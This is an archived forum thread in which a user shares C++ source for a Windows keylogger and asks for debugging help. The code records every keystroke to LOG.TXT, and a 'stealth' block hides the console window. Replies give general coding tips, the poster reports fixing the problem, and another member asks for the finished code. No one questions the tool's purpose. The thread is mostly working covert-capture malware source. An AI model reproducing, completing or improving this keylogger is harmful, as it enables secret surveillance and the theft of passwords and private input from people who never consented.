You are viewing our Forum Archives. To view or take place in current topics click here.
Some trouble with coding
Posted:
Some trouble with codingPosted:
Status: Offline
Joined: Jun 10, 201013Year Member
Posts: 1,556
Reputation Power: 65
Status: Offline
Joined: Jun 10, 201013Year Member
Posts: 1,556
Reputation Power: 65
I have done this for my entertainment and for improvement in c++, it works fine when I do not add in the stealth but when I do one of the codes doesn't work properly. Here is the code.
When I add in the stealth, this is what messes up
#include <iostream>
using namespace std;
#include <windows.h>
#include <Winuser.h>
int Save (int key_stroke, char *file);
int main()
{
char i;
while (1)
{
for (i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save(i, "LOG.TXT");
}
}
system ("PAUSE");
return 0;
}
/* ********************************************************************* */
/* ********************************************************************* */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke ==2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf (OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf (OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf (OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf (OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf (OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf (OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf (OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf (OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf (OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf (OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf (OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf (OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf (OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf (OUTPUT_FILE, "%s", ".");
else
fprintf (OUTPUT_FILE, "%s", &key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
/* ************************************************************************* */
/* ************************************************************************* */
{HWND stealth;
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);}
When I add in the stealth, this is what messes up
for (i = 8; i <= 190; i++)
#2. Posted:
Status: Offline
Joined: Jun 10, 201013Year Member
Posts: 1,556
Reputation Power: 65
Status: Offline
Joined: Jun 10, 201013Year Member
Posts: 1,556
Reputation Power: 65
can anyone help me with this ?
- 0useful
- 0not useful
#3. Posted:
Status: Offline
Joined: Oct 20, 201112Year Member
Posts: 322
Reputation Power: 13
Status: Offline
Joined: Oct 20, 201112Year Member
Posts: 322
Reputation Power: 13
Do not use SYSTEM("PAUSE") It creates a massive security hole in you programs and makes you look like a C++ noob.
- 1useful
- 0not useful
#4. Posted:
Status: Offline
Joined: Oct 20, 201112Year Member
Posts: 322
Reputation Power: 13
Status: Offline
Joined: Oct 20, 201112Year Member
Posts: 322
Reputation Power: 13
for(ctr=1;ctr<=100; ctr++)
This is how i run my loops, so i don't think thats whats causing the problem. Are all your variables declared properly?
This is how i run my loops, so i don't think thats whats causing the problem. Are all your variables declared properly?
- 0useful
- 0not useful
#5. Posted:
Status: Offline
Joined: Jun 10, 201013Year Member
Posts: 1,556
Reputation Power: 65
Status: Offline
Joined: Jun 10, 201013Year Member
Posts: 1,556
Reputation Power: 65
SyntaxError_81 wrote Do not use SYSTEM("PAUSE") It creates a massive security hole in you programs and makes you look like a C++ noob.
I am a c++ noob, I am trying to get back into it
- 0useful
- 0not useful
#6. Posted:
Status: Offline
Joined: Jun 10, 201013Year Member
Posts: 1,556
Reputation Power: 65
Status: Offline
Joined: Jun 10, 201013Year Member
Posts: 1,556
Reputation Power: 65
SyntaxError_81 wrote for(ctr=1;ctr<=100; ctr++)
This is how i run my loops, so i don't think thats whats causing the problem. Are all your variables declared properly?
yes they are declared properly
- 0useful
- 0not useful
#7. Posted:
Status: Offline
Joined: Jun 10, 201013Year Member
Posts: 1,556
Reputation Power: 65
Status: Offline
Joined: Jun 10, 201013Year Member
Posts: 1,556
Reputation Power: 65
SyntaxError_81 wrote for(ctr=1;ctr<=100; ctr++)
This is how i run my loops, so i don't think thats whats causing the problem. Are all your variables declared properly?
thanks for trying to help me man but I ended up figuring it out by tinkering with it while on break
- 1useful
- 0not useful
#8. Posted:
Status: Offline
Joined: Oct 20, 201112Year Member
Posts: 322
Reputation Power: 13
Status: Offline
Joined: Oct 20, 201112Year Member
Posts: 322
Reputation Power: 13
meonlymod wroteSyntaxError_81 wrote for(ctr=1;ctr<=100; ctr++)
This is how i run my loops, so i don't think thats whats causing the problem. Are all your variables declared properly?
thanks for trying to help me man but I ended up figuring it out by tinkering with it while on break
Good, mind posting the finished code? I've been looking for some <fstream> stuff.
- 0useful
- 0not useful
You are viewing our Forum Archives. To view or take place in current topics click here.